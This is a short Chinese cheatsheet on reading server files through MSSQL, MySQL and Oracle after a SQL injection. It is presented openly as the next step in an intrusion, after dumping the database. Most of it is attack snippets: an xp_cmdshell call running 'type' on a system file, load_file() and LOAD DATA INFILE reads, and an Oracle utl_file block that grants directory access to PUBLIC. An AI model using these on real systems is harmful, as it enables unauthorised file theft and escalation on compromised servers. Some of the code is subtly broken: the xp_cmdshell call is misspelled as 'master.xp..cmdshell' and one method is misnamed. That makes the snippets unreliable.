数据库读取文件方式总结

前言

当我们找到一个sql注入漏洞时,首先能做的是将数据库的信息全部拖库,然后就会尝试使用数据库来获取更多的权限和资产,通过数据库读取服务器内文件是其中一种方式,本文仅讨论远程连接数据库场景下的文件读取,对常用的mssql、mysql、oracle三种数据库的读取方式做总结。

mssql数据库读取文件

调用xp_cmdshell调用windows命令type读取文件

1
exec master.xp..cmdshell 'type c:\windows\system.ini'

mysql数据库读取文件

使用load_file()方法读取文件

1
select load_file('c:\windows\system.ini')

使用load file infile()方法读取文件

1
2
3
create table user(cmd text);
load data infile 'c:/TEMP/text1.txt' into table user;
select * from user;

oracle数据库读取文件

使用utl_file()方式读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
create or replace directory user_dir as 'C:\TEMP\oracle_dir';
grant read on directory user_dir to public;
grant write on directory user_dir to public;
select * from dba_directories;
declare
F1 utl_file.file_type;
V1 varchar2(32767);
begin
F1:=utl_file.fopen('USER_DIR','02.txt','r');
utl_file.get_line(F1,V1,30);
utl_file.fclose(F1);
dbms_output.put_line(V1);
end;